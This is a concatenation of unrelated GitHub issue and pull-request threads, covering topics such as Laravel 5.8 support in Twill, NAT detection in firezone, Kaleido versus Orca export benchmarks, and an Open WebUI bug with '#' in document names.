Add Laravel 5.8 to composer.json

Can't use the composer require command for Twill, because Laravel 5.8 is missing in composer.json
"laravel/framework": "~5.3.0|~5.4.0|~5.5.0|~5.6.0|~5.7.0",
The 5.8 version was released on the 26th of February. Probably just adding the 5.8 tag would fix it.

Hi @titanomachy, definitely, we're going to release Laravel 5.8 support this week. We just needed a couple of days to make sure all dependencies were updated as well:

https://github.com/dimsav/laravel-translatable/releases/tag/v9.4.0
https://github.com/spatie/laravel-activitylog/releases/tag/3.2.2
https://github.com/spatie/laravel-analytics/releases/tag/3.6.3
https://github.com/cartalyst/tags/releases/tag/v8.0.0

When will the release be made?

Maybe an unhelpful message :D
Just in case anybody needs, the default asset path in laravel has changed from resources/assets/js to resources/js so npm tasks fail as they're looking in the wrong places

Checkout 1.2.1 guys!
@OwenMelbz this should not fail anymore even when not existing yet but we still use resources/assets/js to store generated blocks. We should now probably move to resources/js to follow Laravel 5.8 change or decide to store them in a new folder, maybe simply resources/twill to avoid being affected by another change in Laravel in the future.

This works but I had to manually create the /resources/assets/js/blocks folder first


Make it a11y

First of all, I used the branch with demo integration as a base to create this PR. Do not merge to master until the other one is merged.
The changes I have introduced now make the component more accessible: I have tested with Voice Over (macOS) and NVDM (Windows).
To test with voice over, enable it with Command + F5 and you will see that the voiceover announce the purpose of the element and while you highlight an option, that option is being announced as well. This is the same for NVDA, of course.

One thing I haven't done yet because I need confirmation: according to ARIA specs, highlighting selection should go from/to first/last to last/first if user press up/down key. This is en extract from the ARIA Authoring specs:

Note that the arrows will wrap through the text box when the top or bottom of the list is reached. For example, pressing the down arrow when the last choice is highlighted will move focus back to the text box, pressing down again will move focus to the first item in the list. Likewise, with focus in the text box and the list displayed, pressing up arrow will move focus to the last item in the list.

Any comments on me changing current behavior to follow specs?


Private Endpoints

Description
Added two files for private endpoints and its tests and the old ones changed the name to _deprecated at the end of file.
Link to any related issue(s):
Type of change:

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Required Checklist:

[ ] I have signed the MongoDB CLA
[x] I have added tests that prove my fix is effective or that my feature works
[ ] I have added any necessary documentation (if appropriate)
[x] I have run make fmt and formatted my code

Further comments

@gssbzn since this is a breaking change and Angel is OOO would you mind reviewing this (or assigning someone else)?
@shum  FYI for you since you are close to this one but feel free to input if you have any.

@coderGo93 if you can make a few of the minor changes suggested I think this is done!

@gssbzn the typos are fixed the update lost your approval.  Can you submit again?


Update README.md

Added the talk from the Laravel Meetup DACH.

Amazing, thanks @Wulfheart

Amazing, thanks @Wulfheart


snownet: detect NAT status

As a peer starts up, it doesn't yet know anything about its NAT status. As soon as we are given a set of relays with the first connection, we should be able to determine our NAT status:
If we end up with the same server-reflexive candidate when talking to two different relays, we are not behind a restrictive NAT. In that case, we should be able to avoid sending our relay candidates to the other party because we should be able to hole-punch.
We need to think about when to reset this state though:

When we change networks? (i.e. either told by the client-app or when our server-reflexive candidate changes)
When new connections start failing?

A nice feature we can build on top of this is letting the portal know about our NAT status. Customers should not deploy gateways to restricted NATs if possible so we may want to send them a message if we detect that we are behind a restricted NAT.

With the changes proposed in https://github.com/firezone/firezone/issues/4548, we can actually detect our NAT status early, i.e. before the first connection because we already receive a list of relays in init.

With https://github.com/firezone/firezone/pull/4268, sending of the relay candidates is always delayed. It would be better to only delay it if we think that we aren't behind a restrictive NAT.

we should be able to avoid sending our relay candidates to the other party because we should be able to hole-punch.

This is a risky assumption to get wrong, no?
AFAIK a busy firewall or one with custom rules (corporate) might have different port mapping behavior when talking to Relays vs Gateway and using different protocols

we should be able to avoid sending our relay candidates to the other party because we should be able to hole-punch.

This is a risky assumption to get wrong, no?

Yes, I think the safer options is what I mentioned in the last comment: Make the delaying of the relay candidates conditional but send them eventually.

Ah gotcha, so an optimized approach. Now I follow


[hotfix] Add TaskManager id in the exception message

This PR is meant to add the tm id in the exception message to make it clear in the exception history.

cc @xintongsong


pnpm start indicates an error

Summary
I follow these steps

But it keeps going wrong.
pnpm start

><EMAIL_ADDRESS>start /home/rain/code/saleor-storefront
> next dev -p 3000

ready - started server on <IP_ADDRESS>:3000, url: http://localhost:3000
info  - Loaded env from /home/rain/code/saleor-storefront/.env.development
info  - Loaded env from /home/rain/code/saleor-storefront/.env
info  - Using webpack 4. Reason: future.webpack5 option disabled https://nextjs.org/docs/messages/webpack5
It looks like you're trying to use TypeScript but do not have the required package(s) installed.

Please install @types/react by running:

        npm install --save-dev @types/react

If you are not trying to use TypeScript, please remove the tsconfig.json file from your package root (and any TypeScript files in your pages directory).

 ERROR  Command failed with exit code 1

Steps to reproduce

pnpm start

A link to a reproduction repository
No response
Output from envinfo
pnpm --version : pnpm@5
use npm install -g pnpm@5  install

Hey @RuoCJ I can't reproduce this issue, are you using the latest version from main?

Hey @RuoCJ I can't reproduce this issue, are you using the latest version from main?嘿，我无法重现这个问题，你使用的是main的最新版本吗?

Sorry, I have been busy recently, so I didn't have time to reply you. I have found the error, which is indeed a version problem


scheduler: esxi and zstack hypervisor do cpu and memory filter

这个 PR 实现什么功能/修复什么问题:
scheduler: vmware 和 zstack 需要做 cpu 和 memory 的 filter
是否需要 backport 到之前的 release 分支:

release/2.10.0

/area scheduler
/cc @swordqiu @ioito

Codecov Report

Merging #1808 into master will increase coverage by 0.02%.
The diff coverage is 0%.

@@            Coverage Diff            @@
##           master   #1808      +/-   ##
=========================================
+ Coverage    7.59%   7.62%   +0.02%
=========================================
  Files         412     412
  Lines       63481   63484       +3
=========================================
+ Hits         4824    4840      +16
+ Misses      58245   58235      -10
+ Partials      412     409       -3

Flag
Coverage Δ

#aFlag
7.62% <0%> (+0.02%)
:arrow_up:

Impacted Files
Coverage Δ

pkg/compute/guestdrivers/esxi.go
5.1% <0%> (-0.06%)
:arrow_down:

pkg/compute/guestdrivers/zstack.go
7.24% <0%> (-0.22%)
:arrow_down:

pkg/appsrv/response.go
69.23% <0%> (+3.07%)
:arrow_up:

pkg/util/rbacutils/rbac.go
74.76% <0%> (+4.36%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9732019...87f1409. Read the comment docs.

/lgtm
/approve


Update the code to remove some deprecation notices

Sure, I will.
Le dim. 16 déc. 2018 à 10:39, Colin Ihrig<EMAIL_ADDRESS>a
écrit :

@cjihrig commented on this pull request.
Left a couple of comments. Can you also rebase this? I did some
maintenance recently and dropped support for Node < 8.
In src/semafour.cc
https://github.com/cjihrig/semafour/pull/4#discussion_r241985134:

@@ -14,15 +14,19 @@ using v8::Persistent;
using v8::String;
using v8::Uint32;
using v8::Value;
+using v8::False;

These aren't used in the code. Can you remove them from this PR please.
In src/semafour.cc
https://github.com/cjihrig/semafour/pull/4#discussion_r241985150:

Persistent Semafour::constructor;
+#define TRYWAIT_OK     0
Same with these.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/cjihrig/semafour/pull/4#pullrequestreview-185392453,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AKwANr1I0X_X--k2TvdxUao9KoGm7TZRks5u5mkbgaJpZM4ZHB7H
.

Landed in https://github.com/cjihrig/semafour/commit/441ffa74c87440eabd09188f9bd2bbb890f39f7c. Thanks!


Feature Request: support to clean expired entries

Coverage increased (+0.04%) to 98.911% when pulling 07b691fc5344dc15c42bf9558eeab22266d9681a on flisky:master into b6bd76ad0f792508efc589a2790e2aee1d0f240d on allegro:master.

Emm, there is a data race indeed, but maybe it's acceptable?

Coverage increased (+0.04%) to 98.915% when pulling 319648278da7f287a6909c152a44865944f32f21 on flisky:master into b6bd76ad0f792508efc589a2790e2aee1d0f240d on allegro:master.

Ping, anyone?
If you don't like this, is 17e9a04 okay? I can split it out.

@flisky I'm sorry for the delay. I've left some comments.

Coverage increased (+0.04%) to 98.915% when pulling 84a09209ac53300061f71198475663eeb4c9e59b on flisky:master into 24eb6cbe47dd5574b2c9e16bf808055af774f30d on allegro:master.

Coverage increased (+0.04%) to 98.915% when pulling a318d5968eb35badb8348ec9a4d1477388aeef83 on flisky:master into 24eb6cbe47dd5574b2c9e16bf808055af774f30d on allegro:master.

Coverage increased (+0.04%) to 98.915% when pulling 2701c37fbff878e37671ce0366255efcf083ca73 on flisky:master into 24eb6cbe47dd5574b2c9e16bf808055af774f30d on allegro:master.

@flisky Thanks!


Updated:  form tag at line:105,  changed type email for email filed a…

…nd turned required at line:110  , changed type password for password filed and turned required at line 116, form tag closed at line no :124  +page.svelte.md
I have added main things that email field should have email type
and password type for password field and also added form tag because every time needed

Thank you

Thank you

Anytime


Enable gfx940/gfx941/gfx942 on staging

fundemtanl for gfx940/941/942
Logic YAML for hipblaslt
XF32 support for hipblaslt and tensilelte
Sparse MFMA support

These files needs clang-reformat.
clients/include/hipblaslt_test.hpp
clients/include/testing_matmul.hpp
clients/include/type_dispatch.hpp
clients/include/utility.hpp
library/src/amd_detail/rocblaslt/include/rocblaslt-auxiliary.h
library/src/amd_detail/rocblaslt/include/rocblaslt-types.h
library/src/amd_detail/rocblaslt/src/include/tensile_host.hpp
library/src/amd_detail/rocblaslt/src/rocblaslt_auxiliary.cpp
library/src/amd_detail/rocblaslt/src/rocblaslt_mat.hpp
library/src/amd_detail/rocblaslt/src/tensile_host.cpp
tensilelite/Tensile/Source/client/source/DataInitialization.cpp
tensilelite/Tensile/Source/client/source/ReferenceValidator.cpp
tensilelite/Tensile/Source/lib/include/Tensile/ContractionProblem.hpp
tensilelite/Tensile/Source/lib/include/Tensile/DecisionTree.hpp
tensilelite/Tensile/Source/lib/include/Tensile/DistinctType.hpp
tensilelite/Tensile/Source/lib/include/Tensile/KernelArguments.hpp
tensilelite/Tensile/Source/lib/include/Tensile/TensorDescriptor.hpp
tensilelite/Tensile/Source/lib/source/ContractionProblem.cpp
tensilelite/Tensile/Source/lib/source/ContractionSolution.cpp

clang-format, done.
please see the last commit


Cleanup the sensitive data before freeing it

scrub buffers holding sensitive information when releasing/deleting
In function spdm_secured_message_dhe_compute_key, line 100 of file
libspdm_secmes_key_exchange.c, variable final_key should be cleaned after memcpy.

I will check this.


Kaleido is 50% slower than Orca

In my brief testing Kaleido is taking about 50% longer than Orca to when saving a series of plots in a loop. Are there any benchmarks on the relative performance?
If this is known issue, then it would be helpful if this was mentioned under "Disadvantages" in the main README.
If this should not be the case, then I would appreciate any suggestions on improving the performance of Kaleido. I am wondering if it could be something as simple as a difference in default inputs/settings between the two implementations or something related to the R/Python interface I am using.
I am exporting images from R on Windows 10.
R Configuration:
R 4.2
plotly 4.10.0
Python Configuration:
plotly 5.8.2
python-kaleido 0.2.1
Orca:
orca 1.3.1

Edited: Add reproducible example
# Packages
library(plotly)
#> Loading required package: ggplot2
#>
#> Attaching package: 'plotly'
#> The following object is masked from 'package:ggplot2':
#>
#>     last_plot
#> The following object is masked from 'package:stats':
#>
#>     filter
#> The following object is masked from 'package:graphics':
#>
#>     layout
library(rbenchmark)

# Sample plot
p <- plot_ly(z = ~volcano) %>% add_surface()

# Initialize
kaleido_scope <- kaleido()
orca_server <- orca_serve()
#> Warning: 'orca_serve' is deprecated.
#> Use 'kaleido' instead.
#> See help("Deprecated")

# Run benchmarks
benchmark(
  "kaleido" = {
    kaleido_scope$transform(p, "kaleido.png")
  },
  "orca" = {
    orca_server$export(p, "orca.png")
  },
  replications = 20,
  columns = c(
    "test",
    "replications",
    "elapsed",
    "relative",
    "user.self",
    "sys.self"
  )
)
#>      test replications elapsed relative user.self sys.self
#> 1 kaleido           20   24.44    1.584      0.44     0.05
#> 2    orca           20   15.43    1.000      0.40     0.03

# Shutdown
kaleido_scope$shutdown()
orca_server$close()
#> [1] TRUE

Created on 2022-06-10 by the reprex package (v2.0.1)

The PyPI page boasts: "Kaleido starts up about twice as fast as Orca, and uses about half as much system memory" so I'm interested in this thread.

We are evaluating orca vs kaleido too - kaleido is definitely a lot easier to install, but if there are any inputs on this from the maintainers (@jonmmease ?) would be great

I see a similar issue where kaleido is noticeably slower than orca in Python (but not 50%).
Here is my "benchmark" that I've run in VS code as code cells:
import numpy as np
import plotly.express as px

N = 100

%%time
for idx in range(0, 100):
    x = np.random.random(N)
    y = np.random.random(N)
    fig = px.scatter(x=x, y=y)
    fig.write_image(f"../data/temp/image-orca-{idx:03d}.png", format="png", engine="orca")

CPU times: total: 3.62 s
Wall time: 8.82 s

%%time
for idx in range(0, 100):
    x = np.random.random(N)
    y = np.random.random(N)
    fig = px.scatter(x=x, y=y)
    fig.write_image(f"../data/temp/image-kaleido-{idx:03d}.png", format="png", engine="kaleido")

CPU times: total: 4.22 s
Wall time: 10.4 s

I pulled the data creation into the loop to ensure that every plot is unique and no caching is occuring.
My package versions are below:

python: 3.11.6
ipython: 8.15.0
plotly: 5.18.0
plotly-orca: 4.1.4
kaleido: 0.2.1

We are working on a completely new approach to Kaleido and would be grateful for help testing it on the platforms you care about - it will initially be slower than the existing version, but (a) we have ideas for fixing that and (b) we want to solve cross-platform stability problems before doing performance optimization. If you're interested in helping out, please give me a shout (greg.wilson@plot.ly). Thanks - @gvwilson


Crash when paste in swift example project

General information

JSQMessagesViewController version: develop 7.3.5
iOS version:10.0.3
Devices/Simulators: iphone 6s
Reproducible in the demo project? (Yes/No): No

What happened?
when i click copy and paste in chat swift example  app crash log:
2017-12-14 15:31:40.730319+0700 SwiftExample[1971:525528] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[JSQMessagesComposerTextView pasteDelegate]: unrecognized selector sent to instance 0x1580a2400'

Take a look to MR #2187

Hey guys!
I understand that library is deprecated, but is it possible to merge changes and make a new release?
Thanks in advance.

Hello everyone!
I'm sorry to inform the community that I'm officially deprecating this project. 😢 Please read my blog post for details:
http://www.jessesquires.com/blog/officially-deprecating-jsqmessagesviewcontroller/
Thus, I'm closing all issues and pull requests and making the necessary updates to formally deprecate the library. I'm sorry if this is unexpected or disappointing. Please know that this was an extremely difficult decision to make. I'd like to thank everyone here for contributing and making this project so great. It was a fun 4 years. 😊
Thanks for understanding,
— jsq


Pass auth header on service creation and update

When using Dockerode, I wanted to create and update services using images from a private registry. To do so, you need to pass an authconfig to docker-modem, which will generate an X-Registry-Auth token when talking with the API.
This merge request enables us to add authconfig as a first parameter to docker.CreateService and service.UpdateService

:+1:
Will ping when published (most likely tonight) :)

Published in v2.3.1


New package: shadowsocks.shadowsocks-windows version <IP_ADDRESS>

Checklist for Pull Requests

[ ] Have you signed the Contributor License Agreement?
[ ] Is there a linked Issue?

Manifests

[ ] Have you checked that there aren't other open pull requests for the same manifest update/change?
[ ] This PR only modifies one (1) manifest
[ ] Have you validated your manifest locally with winget validate --manifest <path>?
[ ] Have you tested your manifest locally with winget install --manifest <path>?
[ ] Does your manifest conform to the 1.6 schema?

Note: <path> is the directory's name containing the manifest you're submitting.

Microsoft Reviewers: Open in CodeFlow

Verify:

This is a tray-based application. Clicking Help > About... opens the repo in a browser. I couldn't find if/where the application displays its current version.


Question:   Average Pedaling Pace  Calculation

Hi,
I love your Strava enhancements and pages!
I am looking for a specific statistic.  I'll call it Average Pedaling Pace (just cuz its alliterative!)
I am not sure if average pace does this or not.
So, when I am going downhill and not pedaling, and therefore going faster I don't want to count that speed in my pace calculation.  I want a statistic that shows my avg pace ONLY when I am exerting effort - pedaling.  It's kinda like "avg climbing speed," but that's just for climbing.  I'd like to see a number for the non-climbing pace and even a combined all around pace while I am pedaling. I suppose it counts if I am pedaling downhill also, but that's not as much effort.
I suppose that this is what watts are all about, but I don't have a watt meter.  Should I really be thinking down that path?  It's similar, but different than pace.  But, I can see that maybe I should focus my attention on watts. Net net.  I want to see how hard I am working
What do you think about all this?
Thanks, Peter

To sum up you need:

[ ] Cadence average pace in downhill in RPMs
[ ] Cadence average pace on flat in RPMs
[ ] Cadence average pace while climbing in RPMs

??
Tom

Done :)


1.12.1 Programmatic Explosions do not update on client until relogin

When an explosion is generated via plugin that will damage blocks and/or spread fire, the explosion occurs without any block updates seen on the client, but the aftermath is visible after logging out/logging in.
Spongevanilla 1.12.1 beta-323 but also happens in earlier versions.

Testplugin:
@Plugin(id = "quickdirtytester")
public class QuickDirty {
    @Inject
    PluginContainer container;

    @Listener
    public void placeMultiblock(ChangeBlockEvent.Place event, @Root Player player) {
        if (event.getTransactions().size() > 1) { // ie Beds, Doors, tall plants
            Location<World> loc = player.getLocation();
            Explosion boom = Explosion.builder().canCauseFire(true).radius(4f).shouldBreakBlocks(true).location(loc).build();
            loc.getExtent().triggerExplosion(boom, Cause.source(this.container).build());
        }
    }
}

Have you tested if this happens on SpongeForge as well?

Had not.  Now have:
[12:33:40] [main/INFO] [FML]: Forge Mod Loader version <IP_ADDRESS>4 for Minecraft 1.12.1 loading
[12:33:40] [main/INFO] [FML]: Java is Java HotSpot(TM) 64-Bit Server VM, version 1.8.0_111, running on Windows 7:amd64:6.1, installed at C:\Program Files\Java\jre1.8.0_111
[12:33:40] [main/INFO] [FML]: Loading tweaker org.spongepowered.asm.launch.MixinTweaker from spongeforge-1.12.1-2444-7.0.0-BETA-2612.jar
[12:33:40] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker
[12:33:40] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.launch.MixinTweaker
[12:33:40] [main/INFO] [mixin]: SpongePowered MIXIN Subsystem Version=0.7.2 Source=file:/N:/000SpongeTestservers/SPForge1.12.1/mods/spongeforge-1.12.1-2444-7.0.0-BETA-2612.jar
 Env=SERVER

The behavior is the same with spongeforge.

In that case, please re-open this issue on the SpongeCommon issue tracker: https://github.com/SpongePowered/SpongeCommon/issues


The periodic table opens when a text object is selected with the Lasso/Rectangle/Fragment selection tools

Tested on Ketcher v2.2.1-121gf98dd7e9
Steps to reproduce:

Launch Ketcher.
Click the 'Add text' button.
Enter any symbols.
Click the 'OK' button.
Select the text object with the 'Lasso Selection' tool.

Expected result: The "Text editor" window is opened.
Actual result: The periodic table is opened.

Release/ 2.3 The issue is verified and closed.


[bug] cannot edit or delete a document starting with "#" in its name in the workspace

Bug Report
Description
Bug Summary:
document cannot be deleted nor edited in any way if it has "#" in its name tag, resulting 404 not found error.
Steps to Reproduce:

go to workspace;
rename any document's name tag to "#anything";
attempt to edit the document;
attempt to delete the document.

Expected Behavior:
document is edited/deleted without any issues.
Actual Behavior:
document becomes untouchable, unreachable. unable to edit.
Environment

Open WebUI Version: v0.3.4

Ollama (if applicable): 0.1.43

Operating System: Windows 10

Browser (if applicable): Microsoft Edge 125.0.2535.92

Reproduction Details
Confirmation:

[x] I have read and followed all the instructions provided in the README.md.
[x] I am on the latest version of both Open WebUI and Ollama.
[x] I have included the browser console logs.
[x] I have included the Docker container logs.

Logs and Screenshots
Browser Console Logs:

Docker Container Logs:

full log can be found here on pastebin.

Models in use: []
INFO:     <IP_ADDRESS>:54740 - "GET /api/v1/auths/ HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54730 - "GET /ws/socket.io/?EIO=4&transport=polling&t=P0DygJx&sid=RYHA1R196fgAhkYDAAAG HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54752 - "POST /ws/socket.io/?EIO=4&transport=polling&t=P0DygJw&sid=RYHA1R196fgAhkYDAAAG HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54752 - "GET /api/changelog HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54730 - "GET /api/v1/users/user/settings HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54716 - "GET /api/v1/chats/tags/all HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54752 - "GET /api/v1/prompts/ HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:54740 - "GET /api/v1/documents/ HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:48476 - "GET /api/v1/configs/banners HTTP/1.1" 200 OK
INFO:apps.openai.main:get_all_models()
INFO:apps.ollama.main:get_all_models()
INFO:     <IP_ADDRESS>:54730 - "GET /api/models HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:48476 - "GET /static/favicon.png HTTP/1.1" 304 Not Modified
INFO:     <IP_ADDRESS>:54730 - "GET /api/v1/chats/ HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:37558 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:38946 - "GET /health HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:49480 - "DELETE /api/v1/documents/name/ HTTP/1.1" 404 Not Found
INFO:     <IP_ADDRESS>:55220 - "GET /health HTTP/1.1" 200 OK
INFO:     <IP_ADDRESS>:60606 - "GET /health HTTP/1.1" 200 OK

Screenshots (if applicable):

Installation Method

Ollama for Windows;
Windows Subsystem for Linux ubuntu;
Docker ghcr.io/open-webui/open-webui:main.

Additional Information

I accidentally pasted the wrong name into the name tag and now I can't revert it;
document's tag name must start with a "#" to reproduce this issue (but I am not sure);
updated to the latest version of open-webui, still the same.

Note
If the bug report is incomplete or does not follow the provided instructions, it may not be addressed. Please ensure that you have followed the steps outlined in the README.md and troubleshooting.md documents, and provide all necessary information for us to reproduce and address the issue. Thank you!

Should be fixed on latest, let me know if the issue persists!


Add savememory() to allow Savefiles to be created in memory

This adds a "savememory()" function to Capture that uses shared memory to write the pcap file directly to memory instead of requiring a file on the filesystem first.
At this point it doesn't support Windows and OS X. I tried to get it running on OS X but apparently it really doesn't like fseek (or much of anything) on shared memory so I left that as an exercise to someone who's better versed in Windows and/or OS X.
This is a new version of #46 because I screwed that one up. =/

I need to set aside time to review this, my apologies!

No problem! I'm just using my fork for development at the moment.

@aphistic While this is quite reasonable, it's (1) very Linux-specific, (2) represents functionality that's not present in the original libpcap. I believe a more general approach would be to provide friendly wrappers for pcap_fopen_*() API, for both reading/writing savefiles. I believe #66 addresses that, would it resolve this PR to some extent?

Cleaning up some old PRs. If you would like to see this code in pcap, please update and resubmit.


Is this project integrated with traffic section? How do you know if the id is exist or not?!

You need to do some integration with government API

Can you put their link here with the request body i need to send and is it post or get?
@alhazmy13

@lamoboos223 Sorry, I don't have it


Integrate Charts and Conditional Rendering

Tutorials: https://developers.sap.com/tutorials/ui5-webcomponents-react-charts.html
Hi Lukas,
I'm testing this tutorial for the Devtoberfest which will feature this tutorial next week. While doing so, I found the following issue:
Step 1. I cannot install the charts dependency:
my-app %  npm install @ui5/webcomponents-react-charts --save
npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving<EMAIL_ADDRESS>npm ERR! Found<EMAIL_ADDRESS>npm ERR! node_modules/@ui5/webcomponents-react
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm ERR! node_modules/@ui5/webcomponents-react-charts
npm ERR!   @ui5/webcomponents-react-charts@"*" from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR! See /Users/d056949/.npm/eresolve-report.txt for a full report.

npm ERR!      /Users/d056949/.npm/_logs/2021-11-04T12_26_08_807Z-debug.log

I noticed it works when I run
npm install<EMAIL_ADDRESS>--save
 npm install<EMAIL_ADDRESS>--save

Hi @IObert
thanks for brining this up! We had wrong versions of peer-dependencies in the @ui5/webcomponents-react-charts package which was causing this error. With "@ui5/webcomponents-react-charts": "0.19.1" it is working again.


Navigation Menu Suggestions

The bar on the left side could use some improvements in my opinion.
Firstly, please can there be a large box to select, instead of a text box - as on my 1st use it took a few clicks to get to actually change pages.
Additionally, can there be an animation of some form when you are hovering your mouse over something clickable.
Furthermore, is it possible that on the desktop version the navigation menu can expand on mouseover.
Finally, there is a large empty area at the bottom of the menu. I would love to see a summary of some important coin information there. e.g Price, MN count, Block Height, Difficulty,.

Larger hover areas and active indicator are planned.

Indicators (arrow & title) and animation have been added.


package-lock.json have git diff lines in.

@davidradl This may have been my fault - I have not changed the file but saw it was changed when I merged the upstream master.  I ignored it as I thought it was a runtime file that was missing from gitignore - doh

fixed in https://github.com/odpi/egeria/pull/3922.


Added support for adding connection strings to non-resources

Adds a new ConnectionString type that lets users specify the connection string name and an optional value. If there's no value then lookup happens based on the connection string name via configuration.

Fixes https://github.com/dotnet/aspire/issues/1328
Microsoft Reviewers: Open in CodeFlow

/backport to release/8.0-preview2


Fix building in conda env

Target kr_quadrotor_dynamics needs to link to boost (which is part of the catkin stuff).

I think this is due to the recent clean-up of the kr github org. I changed your status back to admin.


nereidsfix encryption function translation bug

Proposed changes
Issue Number: close #xxx
Problem summary
Describe your changes.
Checklist(Required)

Does it affect the original behavior:

[ ] Yes
[x] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[x] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[x] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[x] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[x] No

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

I think we should create new function like checkArguments in the new ScalarFunction, and do the check in the analysis stage


Export link status of PF interface

Proposed Changes
Adds link status to PF interface metrics.
Status is checked via /ethdev/link_status telemetry command and if ethdev is PF (not having string "representor" in name), link status is exported as dpdk_ethdev_link_status metric.
This PR is based on #613.

New PR will be open that covers these changes and adds more.


Feature Request: Iterate over selected nodes and print out some data

Example HTML:

  Robots exclusion standard

  date: xyz

Now it would be great if pup could be used in a way:

iterate over all h1
for each h1, print out Robots exclusion standard, date: xyz, so the value of span with dir attribute auto, concatenated by a comma and the value of span with dir attribute auto2.

you can achieve this using other tools:

Remove all the lines inside <>
Change new lines for comas


Common: add assembly step to CI

sbt assembly could fail after changes (i.e. on merge policy), so good to add this step to CI

IIRC sbt assembly runs tests by default. It could be worth to omit separate sbt test to safe some time (by not executing tests twice).

Also, does it belong to R117?

assembly does run tests, but I wanted to leave it as to be clear which step failed exactly. I can remove it if you like.

Also, does it belong to R117?

What do you mean?

Also, does it belong to R117?
What do you mean?

I wondered if implementation of this ticket is going to end up in https://github.com/snowplow/snowplow/pull/4218

It's already there :)

Adding a milestone then. Please double-check that all your implemented tickets are in their milestone (and vice versa - that milestone has all assigned tickets implemented)

Removed from R117. The impl was producing false positives! Might be reopen when needed.


Column detect fix

Allow ng-table to detect columns that are defined with  both  and .
Previously with custom headers, ng-table would not detect columns that were defined with 	 inside a

 block.

this solution doesn't work


How do I force an  to show animations when 'src' attribute has been changed?

Hi!
I noticed that the Demo (https://mui-image.surge.sh/) uses the following to change to a new image
setShowPhoto(false);
setCurrentPhoto(newPhoto);
setTimeout(() => {
  setShowPhoto(true);
}, 100);

I am wondering whether it is the only way to achieve this, because it doesn't look very elegant...

I'm sure it's not the only way, but it's the easiest way I could think of. Don't forget the {showPhoto && <Image ... /> } conditional rendering bit as well. (Though it's better to use a ternary operator than what I did here.)

@benmneb Thanks!


Use EventMachine for HTTP Server

We need to use event machine anyway for web sockets, might as well make the web server use it too, as everything in the Run loop is async.
options:

https://github.com/eventmachine/evma_httpserver
https://github.com/alor/em-http-server
http://www.franzens.org/2011/10/writing-minimalistic-web-server-using.html (underlying details -- don't want to do this myself)
using thin: http://www.bigfastblog.com/rubys-eventmachine-part-3-thin

I may want to move all of mesh chat to run inside of event machine, as it'll handle all the async / threaded stuff for me.
This may even be faster than having several threads, as the os doesn't need to switch between them all the time. See details on EventMachine and the Reactor Pattern
for @etkirsch, EventMachine borrowed a lot from twisted -- but since you're using go now, you probably have this built in for you :-)

event machine guides: http://javieracero.com/blog/starting-with-eventmachine-iv

more examples: https://github.com/eventmachine/eventmachine/wiki/Code-Snippets

apparently GTK+ interfers with EventMachine's loop sometimes: https://github.com/eventmachine/eventmachine/wiki/Code-Snippets#using-eventmachine-with-gtk

this just tells the GTK event loop not to block our loop


Pre-trained model

Thanks so much for releasing the code to your paper! I was wondering if you were planning to release any pre-trained weights any time soon? That would be amazing if you will.

Hi there, the pretrained weights are now provided for COMIC-256 models trained using the updated training scheme. Hope it helps.

I checked and they do reproduce the paper's results for MS-COCO. Thank you!
Could you also release the pre-trained weights for the InstaPIC-1.1M dataset (and instructions) whenever you have the chance?

The README file has been updated for clearer instructions on how to train on InstaPIC. The Insta weights might take some time as I am currently working on another project.
The pretrained models are also moved into a separate repo. Details in README.
Thanks and you are welcome!


DataFrame.sub always has a null fill_value

System information

OS Platform and Distribution (e.g., Linux Ubuntu 16.04): All
Modin version (modin.__version__): 0.7.1
Python version: All
Code we can use to reproduce:

df.sub(df2, fill_value=0)

